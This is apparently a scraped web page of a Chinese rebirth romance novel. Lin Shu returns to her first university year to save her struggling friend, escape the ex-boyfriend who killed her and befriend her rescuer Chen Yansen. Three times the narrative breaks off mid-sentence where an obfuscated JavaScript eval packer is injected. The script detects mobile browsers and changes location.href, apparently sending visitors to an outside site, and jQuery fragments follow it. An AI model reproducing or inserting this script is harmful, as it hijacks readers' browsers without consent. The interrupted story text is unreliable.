“去仲裁,”好朋友被无良老板欺负,林舒都要气死了,“让他赔钱。” 可李洛诗深陷情绪中出不来,哭着说:“我自小被教育要善良、诚实、有责任心,可如今这些我被教育的美好品德却成了别人拿捏我、欺负我的利器。” “怎么办,”李洛诗哭得上气不接下气,“我失业了。” 林舒扯了纸巾给她擦眼泪,安慰道:“没关系的,失业没那么可怕。你想啊,其实我们人类跟小动物很像的,会顺应季节和天气变换做相应准备,比如过冬会准备厚衣服,下雨会找可以蔽体的东西,饿会吃东西。小动物也会有找不到果子的时候对不对?那今天就先吃着旧果子,等明天太阳升起,再去找新果子。” 林舒的好心态源于她有无条件支持她、永远为她兜底的父母,但她忽略李洛诗没有。 她不知道李洛诗回家后要面对震怒的母亲,似乎失业是一件很羞耻的事情。也是,明知女儿最宝贝家中的小猫,忘记关门令小猫009溜走,面对女儿的质问也只是不以为然道:“一只猫而已。” 到了这次,则是:“为什么裁的不是别人,而是你?” 两个月后,尽管李洛诗投出了几百封简历,最后也只收到一个offer,是保险公司的客户经理。说是客户经理,实际上是电话销售,每天按照公司给的电话名单,逐一打电话过去:“X先生/女士,我是安安保险公司的客户经理小李,我们公司最近推出一款理财型产品,保本保收益……” 她每天像个机器人重复着以上话术,直到有一天,电话那头传来一个苍老的声音:“喂——” 李洛诗的声音慢了半拍,但还是按照话术说下去:“奶奶,我是安安保险公司的客户经理小李,我们公司最近推出一款理财型产品,保本保收益,您有兴趣了解下吗?” “理财型产品保本保收益啊,”老人说话不快,但咬字清晰,“是真的吗?” 这是一个很正常的问题,他们在工作中时常会遇到,也会有对应的话术应付。李洛诗的下唇抽动着,艰难地咽了两次唾沫,还是没能将背得滚瓜烂熟的话术说出。 “啪”一声,她把电话挂了。 “是我高中的班主任,她一说话我就听出来了。”电话里,她哭着对林舒说,“如果她知道当年班级第一的学生现在的工作是打推销电话,会不会很失望啊?” 彼时林舒正蹲在客户公司楼下改方案,来往人多嘈杂,遮盖了李洛诗的哭声。她用左肩夹着手机,手上正打字不敢停:“打推销电话怎么了?你靠自己双手挣钱吃饭,老师会很欣慰的。” 林舒现在才意识到,李洛诗大概是早就生病了。她的驼峰上被压了好多捆稻草,而这件事成为压倒她的最后一根。 她给她的关心还是太少了。 林舒填好表格,说话有气无力:“我不许愿,也不做非洲行军蚁,我要再来一次。” 老婆婆看了她一眼,见她满脸泪痕,脸色苍白如纸,不忍:“你要再休息一下吗?” “不,我要回去救她。” “好。”老婆婆指着左边的门,“麻烦你从这扇门出去,迎接你的新生。” …… 林舒第三次从床上醒来,印满小猫图案的被子让她有些恍惚,她从枕头底下摸出手机:2015年9月14日16:30。 她回到了大一! 她迅速掀开被子,顺着床边的楼梯往下爬。 床对面的女生正在看电视剧,听到声响回过头:“林舒,你醒啦?” 她留着齐肩的中长发,脸蛋圆圆,眼睛大大,一脸稚气未脱,笑起来灿若繁花。 “李洛诗!”林舒情难自已,一把抱住她,抱住18岁的李洛诗,如同抱住世间最珍贵的宝物。 “你,你怎么啦?”李洛诗被勒得差点喘不过气,面对只认识一个星期的舍友突如其来的热情,她有点受宠若惊。 林舒松开她:“你现在有事要做吗?” “没有。”李洛诗摇头。 “走,我请你吃炸鸡。”林舒拉起李洛诗的手。 “现在?” “就现在。” 林舒点了两份炸鸡,推到李洛诗面前,后者疑惑地看着她,见她双手托腮,一脸期待地看着自己,眼睛仿佛在说“快吃吧,炸鸡很好吃的”,心中难免一动,掰开鸡腿递给林舒。 好友的遗言尚在耳畔,现在她正好好地坐在面前,向自己递来一只鸡腿。林舒心中一片感慨,将鸡腿推回她面前:“快趁热吃吧,凉了就不好吃了。” 李洛诗她看了林舒一眼,又看了眼手中的炸鸡腿,最终还是被珍视的喜悦战胜疑惑,张嘴咬了一大口。 吃完炸鸡,李洛诗作为班长要去开会,林舒在校园里独自散步。 第一世她在2024年12月19日23:50被刺身亡,不知道凶手是谁。到了亡魂服务中心,许愿下辈子做富婆,许愿失败,因为不想当非洲行军蚁而选择重生; 第一次重生,来到第二世,她回到2024年12月18日23:50,她去便利店买橙子汽水时撞到一个男生,当时还不知道他是谁。19日23:50,她再次被刺身亡,不知道凶手是谁。这次许愿希望知道凶手是谁,失败,因为不想当非洲行军蚁再次重生; 第二次重生,来到第三世,她回到2024年12月16日16:30,在北辰市参加年会。她想知道为什么直属上司温昊殷会在17日后消失,但没弄清原因。18日晚上,她在便利店里再次撞到那个男生,竟然是高一同学陈彦森,她向他求助,他答应并抓住凶手,没想到凶手竟是前男友余嘉城。在派出所门前,她接到李洛诗的电话,听到她的遗言,慌乱中她走到马路上被车撞死。 这次,她直接选择重生。 现在,她第三次重生,来到第四世,回到2015年9月14日16:30,这次距离出事还有很多年,足够她一件一件事慢慢处理。 第一,这一世,她要好好陪在李洛诗身边,陪着她修正她的人生。这是她这次重生的目的; 第二,这一世,她要跟余嘉城保持距离,不能在一起。幸好,现在她还只是他的追求者而不是女朋友,这件事办起来容易多了; 第三,她要好好积德,积大量的功德,争取下一次可以许愿成功或者转世一个好点的物种; 第四,还有第四件需要做的事情吗? 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738879|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思来想去,最后一拍大腿:陈彦森!怎么可以将救命恩人陈彦森给忘了呢?! 林舒记得高一的时候有个微信群,所有同学都在群里。她搜索关键词找到群,点开群成员,一个个点开头像看昵称。 找到了,他的微信名字就叫陈彦森。 她点开他的头像,干脆利落地发送添加好友申请。 林舒不断从脑海中搜索关于陈彦森的零碎记忆。陈彦森也考进了南苑大学,她在高中的光荣榜上看到过,但是是什么专业呢? 第一世的她全副心思都在余嘉城身上,根本分不出心思去关注其他人。她苦思一分钟,放弃了。 而在这时,陈彦森刚好通过了她的好友申请。 林舒马上发过去一个打招呼的表情:【嗨,陈彦森。】 陈彦森:【什么事?】 林舒飞快打字:【没事就不能找你了吗?】 陈彦森:【?】 林舒:【说笑的,你现在有空吗?我请你吃烧烤。】 陈彦森:【无功不受禄。】 林舒:【你有功,大大的功。快来一饭,我在这等你。】 一饭靠近男生宿舍,林舒专程走了半小时路程来到这里,是对恩人陈彦森极大的敬意。 五分钟后,陈彦森出现在林舒面前。 这是林舒第一次见大学时期的陈彦森。18岁的陈彦森跟27岁的陈彦森有点像又有点不像,高冷痞气的气质一点没变,左手没有疤痕,自我防御的气息没那么重,感觉更易亲近一些。 “坐,快坐。”林舒说,“吃吧,别客气。” 陈彦森看着摆满一桌的烧烤,犹豫着坐下,还没来得及说些什么,手里就多了一串烤鱿鱼。 “大家是同学,别客气,快吃吧。” 盛情难却,陈彦森咬了一口烤鱿鱼,终于逮到机会开口:“我有什么功?” 林舒正偷瞄他的腿——今天他穿了一条黑色运动短裤,露出一双完整的腿,听到提问后一怔:“不是吧,你还在想这个问题?这是我想约你出来吃饭随口编的理由。你是我们南苑高中的校草,你听过的理由还少吗?” 陈彦森咽下鱿鱼,又问:“那你为什么要约我?” “就当是……”林舒歪头,“庆祝我们有缘成为大学同学?” 一顿饭的时间里,林舒讲话的时间占了九成,剩下的一成则是陈彦森回答林舒问题的时间。 通过这次谈话,林舒得知陈彦森的专业是计算机科学与技术,住在男生宿舍菊16,学校最西边。 本来她还想试探他有没有重生,但感觉他有点不自在,便打消了这个念头。 谈话间,两人吃完烧烤,起身走出饭堂。 饭堂外有五六个摊位,是社团招新摆摊。其中一个摊位的师姐迎上来,热情地说:“师弟师妹,有兴趣加入我们青年志愿者协会吗?” 林舒一听,眼睛都亮了——这可是积德的好机会,连忙问:“有什么部门?” “有秘书处、组织部、社会实践部、广告部、服务队。我们协会定期去支教,举办旧衣回收、上门洗饮水机、海边捡垃圾等活动,做的事情都是很有意义的。”师姐努力介绍。 这个好这个好,林舒正认真听着师姐介绍,突然有人拍了拍她的右肩。 她往右边一看,对上陈彦森疑惑的眼神。她意识到不是他拍的,于是扭头往左看。 这不看还好,一看她条件反射向右退一步。 是余嘉城。 5. 第四世(二) 什么叫生理性抗拒? 林舒又向右退一步,撞到站在一旁的陈彦森,但她完全没有察觉到。此刻她全身细胞都在抗拒余嘉城,只想离他远远的。 余嘉城挑了挑眉:“你今天怎么一条信息都没发给我?” 这可太不寻常,平时他睁眼看到的第一条信息就是林舒发给他的。 林舒觉得余嘉城离自己太近了,近得让她喘不上气。她没有回答,低头走到陈彦森右边。 余嘉城明显一愣,这才看了陈彦森一眼。他脸色一暗,跟着林舒的步子走到她面前,语气中带有质问:“你转移目标了?” 林舒依旧没有抬眼看他,迅速挪到陈彦森的左后方,用他的身子挡住余嘉城的视线。 余嘉城对她的举动感到莫名其妙的。高中三年来,林舒一直像个跟屁虫似的跟在他身后,明明是文科生却帮理科生的他抄笔记,不缺席他的每一场篮球赛,做最强啦啦队为他呐喊。 今天她的表现,太不寻常了。 “你被鬼上身啊?”被忽视的他有点恼火了,抬手想把林舒从陈彦森身后拉出来。 不料挡在他们中间的人向前一步,阻止了他的动作。 “你——”余嘉城垂眼看搭在自己手臂上的手,斜眼看陈彦森,“你什么意思?” 面对对方的火药味,陈彦森也不恼火,只是极浅地笑了下:“看不出人家女孩子不想理你吗?” “我找林舒,关你什么事?”余嘉城想推开陈彦森,却发现推不动,后者似一块岿然不动的岩石,就这么定定地挡在中间。 在恼火的状态下推不动一个同龄人,其他男生估计会被激发好胜心,非得跟对方一决高下。但是余嘉城不一样,他会审时度势,从最利己的角度出发。 他假装不在乎地耸耸肩,一脸不屑地丢下一句“莫名其妙”,就转身走了。 陈彦森转身看向林舒。 从余嘉城出现开始,她的反应就很奇怪,不是冷淡,而是……害怕。 是的,是害怕,他察觉到林舒的身子在轻微发抖。 他想安抚她,告诉她别害怕。手伸到半空还是收回,折返去接师姐手中的报名表。 “我送你回宿舍吧。”他低声道。 林舒的视线终于上移,对上他的眼睛。 他长得很高,与她说话时微微俯下身,挡住她面前的光,像个影子将她笼罩起来。就像上一世在江边,他对九年未见的她说“我相信你”时一样。 他再次帮她挡住有点刺眼的灯光。 她的心定了下来,点点头。 走回女生宿舍的路上,两人的身份进行了对调。林舒不怎么说话,陈彦森充当了那个引导话题的人。 “所以,你住的是菊16,最西边。”林舒惊讶地重复一遍。 南苑大学的宿舍命名按“梅兰竹菊”,女生是“梅兰”,男生是“竹菊”。她住梅16,最东边,而陈彦森住在离她最远的宿舍菊16,相距四十分钟路程,这说明陈彦森往返要一个多小时。 林舒停下:“那你别送我了,快回去吧。” “没关系,”陈彦森说,“我今晚吃多了,消消食。” 林舒还想说什么,见走在前面的陈彦森停在饮料售卖机前,按下橙子汽水对应的按钮。 哐当一声,一瓶橙子汽水滚到取货口。 他弯腰拿起,递到她面前。 “你,”林舒感到意外,“你怎么知道我喜欢喝这个?” “随便买的。”男生耸耸肩,不打算继续这个话题。 林舒捏了捏汽水罐子,发出咔滋的声响,觉得心情轻松了许多,语气也轻快起来,开始拿陈彦森开玩笑。 她说:“你不像传闻中那样高冷呀。” “你觉得我很高冷吗?”两人一前一后走着,陈彦森回头看了她一眼。 “他们都这么说,”林舒顿了顿,想起上一世,“我之前也这么觉得。” 她走快两步跟上陈彦森,与他并肩走:“我觉得你就是臭脸综合症,不说话的时候有点冷,但其实人挺好的。” “臭脸综合症?你发明的?” 这是大概2020年后出现的网络词汇,现在确实还没有这个说法,那就可以当做是自创啦。想到这,她不要脸地认下:“对。” 陈彦森:“不愧是语文课代表,这都被你拼出一个新词。” 林舒:“我是语文课代表,你也不赖。你是……” 话到嘴边,她突然意识到自己并不记得他曾经担任过什么职位。 “是……”她绞尽脑汁。 陈彦森饶有兴致地看着她。 “数学课代表。”她随口编一个。 陈彦森纠正:“是物理课代表。” “对,是物理课代表。”林舒赶紧找补,“虽然这个我记错了,但我记得你高一的时候从二楼跳下去。那次多亏了你闯祸,级长顾着骂你,没顾上骂我了。不过我很好奇,你为什么要做这么危险的举动啊?受伤了怎么办?” “没什么,”陈彦森声音淡淡,“就好玩。” 两人一路谈话,半小时很快过去,他们回到梅16楼下。 “今天谢谢我们陈大帅哥送我回宿舍,”林舒站在宿舍闸机前,“改天我再请你吃饭致谢。” “回去吧。”陈彦森淡淡道。 林舒应了一声,刷卡进入宿舍,上楼梯前鬼使神差地往门口看了一眼。 那人仍站在宿舍门口,注视着她的背影,见她回头,轻声道:“你回到宿舍了。林舒,不用害怕。” 声音太小太轻,恐怕只有一旁的树听见。 林舒回到宿舍时,舍友庄路瑶正在洗衣服,后者见她临近宿舍关门才回来,打趣道:“我们小舒舒今晚去哪了呀?” “见了老同学。”今天的运动量严重超标,林舒都快累死了,瘫在椅子上不想动。 另一个舍友程芯靠在柜子边,意有所指:“哟,是男同学吗?” “是男同学。”林舒点头。 “那——”李洛诗搭话,“他送你回宿舍了吗?” 林舒觉得莫名其妙,但乖乖应道:“送了。” “哦——”三人同时凑过来。 林舒这下明白她们是一起来套话了,解释道:“我们就是普通同学,不太熟的那种。” 程芯:“这个‘不太熟’是不是只是你觉得?” 庄路瑶搭腔:“一个不太熟的男生同学送你回宿舍,这意味着什么?” “意味着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738880|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”林舒迟疑,“意味着他是中央空调?” “等一下,”李洛诗抓住关键,“余嘉城终于回应你了吗?” 看着面前三双八卦欲爆棚的眼睛,林舒的脑袋嗡一声响。 不是吧?这才进大学一周,她就已经把少女心事抖出来了? 不行,必须让这一切都扼杀在摇篮中。 她轻咳一声,正色道:“我已经不喜欢余嘉城了,你们以后不要起哄,也不要将我和他摆在一起说。我跟他除了是同学,不会有其他关系。” 李洛诗问:“送你回来的不是他,那是谁?帅吗?人怎么样?” 林舒迟疑了一下:“是高中同学,帅是挺帅的,毕竟是校草,听说很多女生给他写情书,至于人怎么样……我对他不是很了解,目前相处觉得他人很仗义,是个好兄弟。” “好兄弟,”李洛诗笑出声,“恐怕人家不是这么想。” 熄灯哨响打断二人说话,庄路瑶啪一下把宿舍大灯关了。林舒拉上窗帘,打开书桌上的小台灯,陷入沉思。 陈彦森现在还没出事,也就是说,他提到的“校车着火”大概率是发生在大学。 上一世他救过她,这一世她一定要帮他保住左腿。 只是,那件事是发生在什么时候,校车又是在何地着火的呢? 现在她所掌握的讯息太少,思来想去没有头绪,只能暂时将思绪放下,从柜子里取出防晒霜。 目前只能先把眼前的事情一件件处理好——明天是军训第一天。 …… 这是她第二次经历大学军训了,比第一次有经验多了。 她一边往脸上、手臂、脖子等没被衣服遮盖的皮肤抹上一层又一层防晒霜,一边不忘在镜子中欣赏自己的美貌。 18岁真好,用清水洗把脸都发光的年纪,前一晚通宵都不会发黄,还是这么白净透亮。 哪像工作后成日对着电脑,辐射使皮肤干燥蜡黄;工作忙没时间护理皮肤,干纹细纹爬脸上都没时间照镜子看;加班至凌晨到洗手间洗把脸,抬头看镜子,觉得倘若此时的自己去竞选鬼片女主角,必定当选——这下拉的嘴角、一身的怨气,恐怕真鬼来了都得绕路走。 如今打工六年重返校园,她能看到镜中的自己双眼充满神采、嘴角高高扬起,即使是去军训,她也觉得很开心。 反正不用打工就是爽! 有一句话是这么说的:“人无法同时拥有青春和对青春的感受。”现在的林舒应该是难得的能同时拥有的人。 她做过六年社畜,虽然很幸运地进入好的平台遇到好的上司,但是职场里容不下在象牙塔内规训乖巧的学生思维,她只能模仿着身边人,吃过亏踩过坑,逐渐成长为小时候不太喜欢的、但能够在职场中好好生存下来的大人。 她清楚成长的代价,更清楚青春的无价,因此格外珍惜重活的每一天。 第一世里,她的目光一直落在余嘉城身上,给到自己以及身边人的关注太少。这一世,她要好好为自己活一次,好好爱身边的人。 她的笑容一直维持到杜教官出现,在教官取出一根约一米长的白色水管时凝在嘴角。 这么要命的事情,她居然给忘了! 要死了,完蛋了。 6. 第四世(三) 第一世里,中文系汉语言文学专业250个女生组成短棍术方阵,练这套短棍十六动。她因为身型娇小光荣成为被过肩摔队伍中的一员,清脆的骨头咔擦声犹在耳畔。 被不用打工的喜悦蒙住双眼,林舒一时忘记了这么重要的事情。 她低声问李洛诗:“班长,我现在换专业还来得及吗?” 她记得其他专业的女生有的练军体操有的练匕首操,只有她们汉语言专业每天举着水管大喊“杀!杀!杀!” 光是想想就头疼。 她话音刚落,杜教官似笑非笑地走过来,低头看她的肩章:“林舒是吗?” “是!”林舒硬着头皮大声应道。 “俯卧撑20个。” 林舒一脸震惊,试图讨价还价:“教官……” “加10个!” 打工被老板欺压,好不容易重生回来读书了,结果碰上这该死的军训。林舒一边艰难地做着几乎只有臀部在动的俯卧撑,一边不服气地在心里大骂杜教官。 “在心里骂我呢?”头顶传来杜教官的声音。 “……” 好不容易熬到军训结束,林舒和舍友们去西门小食街大吃一顿补充能量。她们把水管插在腰带上,路上碰到同样身上带着水管的女生,相视一笑微微点头,确认过眼神,大家都是二百五。 吃完晚饭,她走进药店买了一瓶活络油,专治跌打损伤的好药。 上一世她被摔得太惨了,走起路来像个待返厂维修的机器人,嘎吱作响。这一世可得提前做好准备。 她提着药从药店出来,一眼瞥见一旁的小摊档在卖钵仔糕,2024年已经没有多少人还会卖这种最原始的钵仔糕了。 “阿姨,我要红豆和绿豆,谢谢。” “好嘞!”阿姨应道,拿出竹签从钵仔糕中间横穿过去,钵仔糕顺利从钵仔碗中脱落,躺进塑料袋里。 林舒付完钱,正打算去找舍友们汇合,发现一旁在买西瓜冰的男生背影十分熟悉,便蹑手蹑脚走到他身边:“嘿!” 陈彦森没被吓到,目光自然落在她手上:“受伤了?” “还没,我这是防患于未然。”说着,她扭头跟钵仔糕阿姨说,“阿姨,我再要一个红豆和一个绿豆。” 接着,她将新买的两个钵仔糕递给陈彦森:“给你的。” 林舒对陈彦森印象很好。毕竟上一世救了她一命,是大恩人,虽说她不会当牛做马报恩,但平日里有点什么吃的喝的好的事情都会多惦记着他的。 陈彦森:“谢谢,那我礼尚往来,给你一杯西瓜冰吧。” 林舒笑道:“那我还赚到了。” 陈彦森的目光始终被她手中的药吸引,话题又绕了回来:“我今天听说汉语言的女生被归入短棍队了。” 林舒拍了拍腰间的水管,说:“是的。半个月后你将会收获一个又瘦又黑,还喊打喊杀的新同学。” 她这话可不假,第一世军训结束后,妈妈见到她的第一句话便是:“打狗棒?我还以为见到丐帮帮主了。” 陈彦森正想问她社团的事情考虑得怎么样了,身旁的林舒早已一步两跳跑到舍友身边。 庄路瑶和程芯偷看陈彦森,小声问:“昨晚是他送你回宿舍的吗?” 林舒点头:“是他。” “真的帅,”庄路瑶惋惜道,“可惜是个中央空调。” 三人说着话向前走,林舒走了几步才发现李洛诗没跟上,回头去找,才发现她还站在原处没动。 “李洛诗,”林舒喊她,“走啦。” 李洛诗涨红了脸,望向不远处,小声说:“他。” 谁? 林舒顺着她的视线望去——陈彦森? 这一世李洛诗对陈彦森一见钟情了?怎么会这样?在第一世里,李洛诗会在社团里遇到一个叫刘沐鑫的男生,两人相知相识慢慢走到一起。李洛诗提起他是一脸幸福的:“如果没有他,这样的日子我根本熬不下去。” 现在因为她,李洛诗的人生轨迹要发生变化了? 想到这,林舒心急得不禁提高音量:“陈彦森?” “不是,”李洛诗害羞道,“是他旁边那个。” 林舒定睛一看,陈彦森旁边的男生—— 他回过头了—— 咦?这不就是刘沐鑫吗?! 原来刘沐鑫跟陈彦森是认识的? “怎么,是想要联系方式吗?”林舒压低声问旁边脸红红的女孩。 女孩脸更红了,低低应了一声。 既然他们是认识的,事情就好办多了。 为了好姐妹未来的幸福生活,上刀山下火海在所不辞,更别说是这么小一件事了。 林舒扯起嗓子大喊:“陈彦森!”并朝他招手示意他过来。 陈彦森有些意外,但还是乖乖走过来,用眼神问:找我什么事? “陈彦森,”她现在已经把他当作很熟的朋友了,直接上手扯他衣角,“你认识那个男生吗?” 陈彦森跟着她视线望去:“他是我舍友。” 居然是舍友?林舒震惊,怎么她第一世完全不知道陈彦森这号人物离她这么近? “快,”她扯着衣角的手不禁用力,“快把他的微信二维码亮出来。” 陈彦森:?喊我过来是为了加别的男人的微信? “快点快点。”林舒是急性子,上手要去掏陈彦森口袋里的手机。 “等,等一下,”陈彦森急急往后缩了一下,小声嘀咕了一句,“你不是喜欢余嘉城吗?” 他这后半句声音太小了,加上林舒的注意力没在他身上,所以她没听见,只知道他后退了一步,扭扭捏捏没把手机拿出来。 她转过头皱眉看他,看到一张写满问号的脸。 哦豁,她明白过来,自己被误会了。 “少年,你用这副表情看我做什么?”林舒又好气又好笑,“我姐妹看上你舍友,快把他的微信二维码亮出来。” “哦,哦哦。”这下,陈彦森麻利地掏出手机,点开刘沐鑫的微信二维码,恭恭敬敬地把手机递到李洛诗面前。 待李洛诗扫码后,林舒问:“现在要过去打个招呼吗?” 李洛诗摇头拒绝:“不了,今天这形象不好。” 林舒低头看了看她们这身打扮。也是,一身迷彩服,腰间还别了根水管,跟通下水道的工人似的,作为初次见面的造型确实不咋行。 “那行,下次你直接约他。”林舒拉上李洛诗,临走前不忘叮嘱陈彦森,“记得叫你舍友通过哦。” 宿舍四人刚走回校内,李洛诗的手机就亮起——刘沐鑫通过了好友添加。 “快快快,快约他!”程芯激动得像 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手一抖,钥匙掉在地上,她没有弯腰去捡。 这个声音太熟悉了,她到死都不会忘记这个声音。 她抬起头,看着余嘉城一步步向她走过来。 “我们谈谈。”余嘉城说。 林舒趁着他说话的间隙迅速捡起地上的钥匙,攥在手里:“我们没什么可谈的。” 说完,她径自走去闸机准备刷卡。 “林舒,”余嘉城上前抓住她的手臂,“为什么这么对我?” “我没什么要跟你说的。”林舒试图挣脱开他的桎梏,奈何对方使出蛮力,她怎么都脱不了身。 余嘉城继续问:“你最近为什么都没有找我?见面躲我,还把我拉黑了,为什么?” 林舒突然觉得很感慨。 她现在恨他、惧他是因为他曾三次杀她,她现在远离他是为了避免悲剧再次重演。 可是在这一世,到目前为止,他只是一个普普通通清清白白的18岁大学生,让现在的他为未来行为承担责任,是不是有点过分? 她想起第一世的点点滴滴。她从高一开始喜欢他,一直跟在他的身后,追随着他来到这所大学。直到大学毕业,他才答应跟自己在一起。在一起的这些日子里,她真切地开心过,幸福过,也曾经将他视作终生伴侣。 但她现在已经不怀念了,她从这些回忆中走出来了。 “余嘉城,我已经不喜欢你了。”她眼眶有些湿润,“我要有我的新生活了。” “我们到此为止吧。”这话是对面前的他说,也是对被警察抓住的他说。 她一向是爱憎分明之人,爱得热烈,离开的时候也坚定决绝,分手后在没人的夜晚会独自舔伤,但她从未想过回头。她之前能够做到,现在也能做到。 她看着他的眼神变得受伤,他问:“你是不是喜欢上别人了?” “这是我们两人的事情,与其他人无关。”她说。 “你现在喜欢的人,”余嘉城突然指着她身后,“是他吗?” 林舒一脸狐疑地回过头,不禁睁大眼睛:“陈彦森?” 她还没反应过来,身旁人影一闪,余嘉城已踏步上前朝陈彦森脸上就是一拳。 7. 第四世(四) 这一切发生得太过突然,待林舒反应过来,陈彦森已被打倒在地上。余嘉城一手掐住他的脖子,高举的右拳准备第二次进攻。 “余嘉城!”她大喊一声,冲上前将他拉开,挡在陈彦森的面前。 “你把我当什么了?是觉得我这辈子只能围着你一个人转吗?如果我不再追逐你,你就要打我身边的人,是不是还要杀了我?” 她的眼泪夺眶而出,声泪俱下:“如果你现在手上有一把刀,你是要捅死我吗?” 他三次杀她,最后一次未遂,但前两次的疼痛已深入骨髓,永生永世无法忘记。 该怎么形容这种疼呢?你感觉到有东西刺穿了小腹,但那一刻并没感到疼痛。你整个人是处于呆滞状态的,你觉得有点冷,有液体流出,伸手一摸,发现是血。 疼痛是从看到血的那一刻随之而来的,从被刺穿的小腹开始呈放射状向四周蔓延,透过皮层进入血液,通过血液运输抵达全身。每个细胞都被疼痛包裹,每个器官被牵扯着疼痛,意志逐渐被击溃,可将人吞噬的恐惧袭满全身。 你在清醒中死去。 这样的死法,她经历了两次。 所以即便他现在是无辜的,她也没有办法再向他靠近。 三人闹的动静太大,在楼下的学生们都围过来,宿管阿姨也闻声跑出来,大声问:“怎么回事?” 林舒对宿管阿姨说:“阿姨,我要报警。” 18岁的林舒可能会选择找辅导员,但她现在是27岁的林舒。 她是活到27岁的人,她是大人,不是18岁大学生,不是一出事就要找老师,她在社会久了,当个人利益被侵害的时候,她的第一反应是找警察而不是找老师。 “不用,林舒,我没事。”身后的陈彦森伸手拉住她。 “不行。” “放心,我没事。”陈彦森说完,看向余嘉城,“我们做个交易吧。我不计较你打我,作为交换,你以后不能再找林舒。” 余嘉城看了林舒一眼,没有说话。 林舒低头按数字键盘。 “1” “1” “0” 当她的手指落在绿色拨打键上方准备按下时,余嘉城突然开口:“好。” 林舒的手指一顿,抬起头。 “以后,你可以过你想要的新生活了。” 闹剧男主离开,人群也逐渐散去,林舒扶陈彦森起身,看到他的嘴角肿起,心里过意不去。 “我送你去校医室吧?”她说。 陈彦森点头:“好。” 一路上,林舒都没有说话。陈彦森偷看了她几次,见她脸色凝重,便也没有打破沉默。 来到校医室,林舒拿着单子去缴费,回来后看到校医正给陈彦森止血,上药。 在室内充沛的灯光下,林舒这才看清陈彦森脸上的伤,左边嘴角流血,嘴角至脸颊这一块肿起,余嘉城真是下了重手。 待校医上完药,陈彦森才发现站在门口的林舒,眼睛立刻亮了,咧嘴想笑,却因嘴角扯动疼得忍不住倒吸一口气。 “抱歉。”林舒说。 “我没事。”陈彦森顿了顿,还是开口问,“你是不是很怕他?” 她仗义、勇敢,看到同学被攻击会拼了命将他护在身后,但这不代表她不会很害怕。 在她喊出那句“你是要捅死我吗”的时候,他清晰地看到她的身子在发抖。 林舒苦笑一声,良久,她才慢慢吐出一句话:“如果我说,他上辈子杀过我,你信吗?” 说完,她自己都忍不住笑了,这么荒谬的事情,换做是别人对她说,她也不会相信。 可没想到陈彦森没有流露出诧异或质疑的神情,他沉默了一会,似是在思考,紧接着他说:“我相信你。” 苦涩的笑凝在嘴边,林舒诧异地看着他。 上一世,他也是这么说的。 面对九年未见的老同学,他说他相信她,他应下她的求助,没有躲在一旁记下凶手的外貌特征,而是用装着假肢的左脚压制住凶手,救下她。 这一世,他也说相信她,被打也不恼怒,冷静提出交易条件,将她从纠缠中解救出来。 “这个世界存在许多未知,这些是科学都解释不了的事情。”陈彦森看着她,继续说,“而且,每个人产生情绪都是有原因,你一定有你的原因。” 林舒也看着他,他的眼睛非常清澈,眼神真挚,让人相信他是经过认真思考才说出这番话的。并且,他很真诚地站在与对方一致的战线,替对方着想。 但同时,他眼神灼灼,内藏难以解释的情绪。林舒有点招架不住,避开眼神,转移话题:“你刚刚怎么来梅16了?” “这个,”陈彦森收回目光,从口袋里掏出一张皱巴巴的纸张,“是青协社团的报名表,昨晚忘记给你了。” 林舒感到意外,上前接过报名表后顺势坐在他身旁的椅子上。两人并排坐着,谁也没再说话。 她抬起头,天花板的灯散发出白色的光,像一把把利剑刺进她的眼睛。她眨了眨眼,头顶的灯变成太阳光晕,四周挤着一张张焦急的脸。 “林舒,”李洛诗用力拍了拍她的脸,“你终于醒了啊。” 在她旁边是程芯。程芯摸了摸胸口,心有余悸地说:“你总算醒了,都快把我吓死了。” 接着是杜教官:“快,你们几个快把她送去校医室。” 李洛诗、程芯、庄路瑶三人凑不出七手八脚,但也将林舒搀扶到校医室。 林舒还是有点懵懵的,她摸了摸刚刚被李洛诗拍红的脸,呆呆地问:“你打我?” “抱歉抱歉,”李洛诗轻抚她的脸,“刚刚你在训练的时候中暑了,突然直直倒下,我们都吓坏了。” 说话间,校医过来询问林舒的情况,三人就先离开校医室回去继续训练,留下林舒一人在床上躺着。 林舒喝了藿香正气水,躺在空调房里休息了一阵子,觉得整个人都活过来了。这里没有可消遣的东西,她躺着躺着就饿了。 校医室旁边就是麦当劳,炸鸡薯条汉堡雪糕,她仿佛看到它们在向自己招手。这么好的摸鱼机会不去好好吃一顿,还对得起自己吗?想到这,她心安理得地去麦当劳买了个套餐,顺便绕路去社团摊位交表格。 今天在摊位值班的还是那天见到的师姐,师姐看到她过来非常高兴:“师妹,考虑好了吗?” “考虑好了,我想去社会实践部。”林舒把表格递给师姐,“师姐,你是什么部门的呀?” “我也是社实部。”师姐笑眯眯地伸出手,“我叫许家杭,欢迎来我们社实部。” 林舒赶紧握住她的手:“哇,真巧。” 第一世她跟着余嘉城加入编程社。她对社团内容不感兴趣,也没遇到处得来的朋友,无聊得直犯困。这一世她选择青协,虽然主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 